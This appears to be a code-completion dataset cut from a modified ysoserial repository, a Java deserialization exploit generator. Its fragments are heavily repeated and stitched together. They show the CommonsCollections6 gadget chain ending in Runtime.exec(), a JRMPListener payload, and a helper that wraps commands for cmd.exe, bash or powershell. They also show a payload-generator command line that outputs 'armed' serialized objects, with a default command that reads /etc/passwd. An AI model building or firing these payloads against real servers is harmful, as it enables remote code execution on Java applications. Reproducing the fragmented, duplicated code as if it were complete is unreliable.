createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); // } // // @SuppressWarnings ( {"unchecked"} ) // public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); // objCons.setAccessible(true); // Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); // sc.setAccessible(true); // return (T)sc.newInstance(consArgs); // } // // } // Path: src/main/java/ysoserial/payloads/JRMPListener.java import java.rmi.server.RemoteObject; import java.rmi.server.RemoteRef; import java.rmi.server.UnicastRemoteObject; import sun.rmi.server.ActivationGroupImpl; import sun.rmi.server.UnicastServerRef; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; package ysoserial.payloads; /** * Gadget chain: * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 * UnicastRemoteObject.reexport() line: 266 * UnicastRemoteObject.exportObject(Remote, int) line: 320 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 * LiveRef.exportObject(Target) line: 147 * TCPEndpoint.exportObject(Target) line: 411 * TCPTransport.exportObject(Target) line: 249 * TCPTransport.listen() line: 319 * * Requires: * - JavaSE * * Argument: * - Port number to open listener to */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( skip = "This test would make you potentially vulnerable")
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/CommonsCollections6.java
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // }
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; import java.io.Serializable; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
package ysoserial.payloads; /* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"})
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // Path: src/main/java/ysoserial/payloads/CommonsCollections6.java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; import java.io.Serializable; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; package ysoserial.payloads; /* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/CommonsCollections6.java
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // }
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; import java.io.Serializable; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
package ysoserial.payloads; /* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // Path: src/main/java/ysoserial/payloads/CommonsCollections6.java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; import java.io.Serializable; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; package ysoserial.payloads; /* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(CmdExecuteHelper cmdHelper) throws Exception {
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/ObjectPayload.java
// Path: src/main/java/ysoserial/GeneratePayload.java // @SuppressWarnings("rawtypes") // public class GeneratePayload { // // private static final int INTERNAL_ERROR_CODE = 70; // private static final int USAGE_CODE = 64; // private static final List<String> terminalTypes = Arrays.asList("cmd", "bash", "powershell", "none"); // // public static void main(final String[] args) { // if (args.length != 3) { // printUsage(); // System.exit(USAGE_CODE); // } // final String payloadType = args[0]; // final String terminalType = args[1]; // final String command = args[2]; // // final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType); // if (payloadClass == null) { // System.err.println("Invalid payload type '" + payloadType + "'"); // printUsage(); // System.exit(USAGE_CODE); // return; // make null analysis happy // } // // if (!terminalTypes.contains(terminalType)) { // System.err.println("Invalid terminal type '" + terminalType + "'"); // printUsage(); // System.exit(USAGE_CODE); // return; // make null analysis happy // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // CmdExecuteHelper cmdHelper = new CmdExecuteHelper(terminalType, command); // final Object object = payload.getObject(cmdHelper); // PrintStream out = System.out; // Serializer.serialize(object, out); // ObjectPayload.Utils.releasePayload(payload, object); // } catch (Throwable e) { // System.err.println("Error while generating or serializing payload"); // e.printStackTrace(); // System.exit(INTERNAL_ERROR_CODE); // } // System.exit(0); // } // // private static void printUsage() { // System.err.println("Y SO SERIAL?"); // System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'"); // System.err.println(" ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'"); // System.err.println("\tAvailable payload types:"); // final List<Class<? extends ObjectPayload>> payloadClasses = // new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses()); // Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize // for (Class<? extends ObjectPayload> payloadClass : payloadClasses) { // System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass))); // } // } // // public static class ToStringComparator implements Comparator<Object> { // public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } // } // // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // }
import java.lang.reflect.Modifier; import java.util.Iterator; import java.util.Set; import org.reflections.Reflections; import ysoserial.GeneratePayload; import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.payloads; @SuppressWarnings ( "rawtypes" ) public interface ObjectPayload <T> { /* * return armed payload object to be serialized that will execute specified * command on deserialization */
// Path: src/main/java/ysoserial/GeneratePayload.java // @SuppressWarnings("rawtypes") // public class GeneratePayload { // // private static final int INTERNAL_ERROR_CODE = 70; // private static final int USAGE_CODE = 64; // private static final List<String> terminalTypes = Arrays.asList("cmd", "bash", "powershell", "none"); // // public static void main(final String[] args) { // if (args.length != 3) { // printUsage(); // System.exit(USAGE_CODE); // } // final String payloadType = args[0]; // final String terminalType = args[1]; // final String command = args[2]; // // final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType); // if (payloadClass == null) { // System.err.println("Invalid payload type '" + payloadType + "'"); // printUsage(); // System.exit(USAGE_CODE); // return; // make null analysis happy // } // // if (!terminalTypes.contains(terminalType)) { // System.err.println("Invalid terminal type '" + terminalType + "'"); // printUsage(); // System.exit(USAGE_CODE); // return; // make null analysis happy // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // CmdExecuteHelper cmdHelper = new CmdExecuteHelper(terminalType, command); // final Object object = payload.getObject(cmdHelper); // PrintStream out = System.out; // Serializer.serialize(object, out); // ObjectPayload.Utils.releasePayload(payload, object); // } catch (Throwable e) { // System.err.println("Error while generating or serializing payload"); // e.printStackTrace(); // System.exit(INTERNAL_ERROR_CODE); // } // System.exit(0); // } // // private static void printUsage() { // System.err.println("Y SO SERIAL?"); // System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'"); // System.err.println(" ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'"); // System.err.println("\tAvailable payload types:"); // final List<Class<? extends ObjectPayload>> payloadClasses = // new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses()); // Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize // for (Class<? extends ObjectPayload> payloadClass : payloadClasses) { // System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass))); // } // } // // public static class ToStringComparator implements Comparator<Object> { // public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } // } // // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // Path: src/main/java/ysoserial/payloads/ObjectPayload.java import java.lang.reflect.Modifier; import java.util.Iterator; import java.util.Set; import org.reflections.Reflections; import ysoserial.GeneratePayload; import ysoserial.payloads.util.CmdExecuteHelper; package ysoserial.payloads; @SuppressWarnings ( "rawtypes" ) public interface ObjectPayload <T> { /* * return armed payload object to be serialized that will execute specified * command on deserialization */
public T getObject (CmdExecuteHelper cmdHelper) throws Exception;
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/ObjectPayload.java
// Path: src/main/java/ysoserial/GeneratePayload.java // @SuppressWarnings("rawtypes") // public class GeneratePayload { // // private static final int INTERNAL_ERROR_CODE = 70; // private static final int USAGE_CODE = 64; // private static final List<String> terminalTypes = Arrays.asList("cmd", "bash", "powershell", "none"); // // public static void main(final String[] args) { // if (args.length != 3) { // printUsage(); // System.exit(USAGE_CODE); // } // final String payloadType = args[0]; // final String terminalType = args[1]; // final String command = args[2]; // // final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType); // if (payloadClass == null) { // System.err.println("Invalid payload type '" + payloadType + "'"); // printUsage(); // System.exit(USAGE_CODE); // return; // make null analysis happy // } // // if (!terminalTypes.contains(terminalType)) { // System.err.println("Invalid terminal type '" + terminalType + "'"); // printUsage(); // System.exit(USAGE_CODE); // return; // make null analysis happy // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // CmdExecuteHelper cmdHelper = new CmdExecuteHelper(terminalType, command); // final Object object = payload.getObject(cmdHelper); // PrintStream out = System.out; // Serializer.serialize(object, out); // ObjectPayload.Utils.releasePayload(payload, object); // } catch (Throwable e) { // System.err.println("Error while generating or serializing payload"); // e.printStackTrace(); // System.exit(INTERNAL_ERROR_CODE); // } // System.exit(0); // } // // private static void printUsage() { // System.err.println("Y SO SERIAL?"); // System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'"); // System.err.println(" ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'"); // System.err.println("\tAvailable payload types:"); // final List<Class<? extends ObjectPayload>> payloadClasses = // new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses()); // Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize // for (Class<? extends ObjectPayload> payloadClass : payloadClasses) { // System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass))); // } // } // // public static class ToStringComparator implements Comparator<Object> { // public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } // } // // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // }
import java.lang.reflect.Modifier; import java.util.Iterator; import java.util.Set; import org.reflections.Reflections; import ysoserial.GeneratePayload; import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.payloads; @SuppressWarnings ( "rawtypes" ) public interface ObjectPayload <T> { /* * return armed payload object to be serialized that will execute specified * command on deserialization */ public T getObject (CmdExecuteHelper cmdHelper) throws Exception; public static class Utils { // get payload classes by classpath scanning public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { Class<? extends ObjectPayload> pc = iterator.next(); if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { iterator.remove(); } } return payloadTypes; } @SuppressWarnings ( "unchecked" ) public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { Class<? extends ObjectPayload> clazz = null; try { clazz = (Class<? extends ObjectPayload>) Class.forName(className); } catch ( Exception e1 ) {} if ( clazz == null ) { try { return clazz = (Class<? extends ObjectPayload>) Class
// Path: src/main/java/ysoserial/GeneratePayload.java // @SuppressWarnings("rawtypes") // public class GeneratePayload { // // private static final int INTERNAL_ERROR_CODE = 70; // private static final int USAGE_CODE = 64; // private static final List<String> terminalTypes = Arrays.asList("cmd", "bash", "powershell", "none"); // // public static void main(final String[] args) { // if (args.length != 3) { // printUsage(); // System.exit(USAGE_CODE); // } // final String payloadType = args[0]; // final String terminalType = args[1]; // final String command = args[2]; // // final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType); // if (payloadClass == null) { // System.err.println("Invalid payload type '" + payloadType + "'"); // printUsage(); // System.exit(USAGE_CODE); // return; // make null analysis happy // } // // if (!terminalTypes.contains(terminalType)) { // System.err.println("Invalid terminal type '" + terminalType + "'"); // printUsage(); // System.exit(USAGE_CODE); // return; // make null analysis happy // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // CmdExecuteHelper cmdHelper = new CmdExecuteHelper(terminalType, command); // final Object object = payload.getObject(cmdHelper); // PrintStream out = System.out; // Serializer.serialize(object, out); // ObjectPayload.Utils.releasePayload(payload, object); // } catch (Throwable e) { // System.err.println("Error while generating or serializing payload"); // e.printStackTrace(); // System.exit(INTERNAL_ERROR_CODE); // } // System.exit(0); // } // // private static void printUsage() { // System.err.println("Y SO SERIAL?"); // System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'"); // System.err.println(" ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'"); // System.err.println("\tAvailable payload types:"); // final List<Class<? extends ObjectPayload>> payloadClasses = // new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses()); // Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize // for (Class<? extends ObjectPayload> payloadClass : payloadClasses) { // System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass))); // } // } // // public static class ToStringComparator implements Comparator<Object> { // public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } // } // // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // Path: src/main/java/ysoserial/payloads/ObjectPayload.java import java.lang.reflect.Modifier; import java.util.Iterator; import java.util.Set; import org.reflections.Reflections; import ysoserial.GeneratePayload; import ysoserial.payloads.util.CmdExecuteHelper; package ysoserial.payloads; @SuppressWarnings ( "rawtypes" ) public interface ObjectPayload <T> { /* * return armed payload object to be serialized that will execute specified * command on deserialization */ public T getObject (CmdExecuteHelper cmdHelper) throws Exception; public static class Utils { // get payload classes by classpath scanning public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { Class<? extends ObjectPayload> pc = iterator.next(); if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { iterator.remove(); } } return payloadTypes; } @SuppressWarnings ( "unchecked" ) public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { Class<? extends ObjectPayload> clazz = null; try { clazz = (Class<? extends ObjectPayload>) Class.forName(className); } catch ( Exception e1 ) {} if ( clazz == null ) { try { return clazz = (Class<? extends ObjectPayload>) Class
.forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
pimps/ysoserial-modified
src/main/java/ysoserial/exploit/JSF.java
